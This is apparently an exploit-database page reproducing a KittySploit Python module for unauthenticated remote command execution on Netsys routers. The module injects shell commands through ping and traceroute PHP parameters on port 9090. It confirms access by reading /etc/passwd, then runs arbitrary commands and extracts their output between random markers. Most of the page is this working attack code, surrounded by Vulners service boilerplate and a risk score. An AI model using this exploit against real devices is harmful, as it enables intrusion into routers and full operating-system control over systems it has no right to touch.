Lucene search
+L

Netsys Multi RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Unauthenticated remote command execution on Netsys routers at the operating system level.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netsys Multi RCE"""


import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Netsys Multi RCE',
        'description': 'Exploits Netsys multiple remote command execution vulnerabilities that allows executing commands on operating system level.',
        'author': ['admin', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://bbs.00wz.top/forum.php?mod=viewthread&tid=12630'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(9090, "Target HTTP port")

    _injections = (
        "/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}",
        "/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}",
        "/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|{}",
    )

    def __init__(self, framework=None):
        super().__init__(framework)
        self.valid = None

    def execute(self, cmd):
        marker = self.random_text(16)
        cmd = cmd.replace(" ", "+")
        payload = "echo+{};{};echo+{};".format(marker, cmd, marker)

        path = self.valid.format(payload)
        response = self.http_request(
            method="GET",
            path=path
        )
        if response is None:
            return ""

        regexp = "{}(.+?){}".format(marker, marker)
        res = re.findall(regexp, response.text, re.DOTALL)

        if len(res):
            return res[0]

        return ""
    def check(self):
        cmd = "cat+/etc/passwd;"

        for injection in self._injections:
            path = injection.format(cmd)

            response = self.http_request(
                method="GET",
                path=path
            )
            if response is None:
                continue

            if ("/etc/passwd" in (response.text or '')):
                self.valid = injection
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
6.2Medium risk
Vulners AI Score6.2
4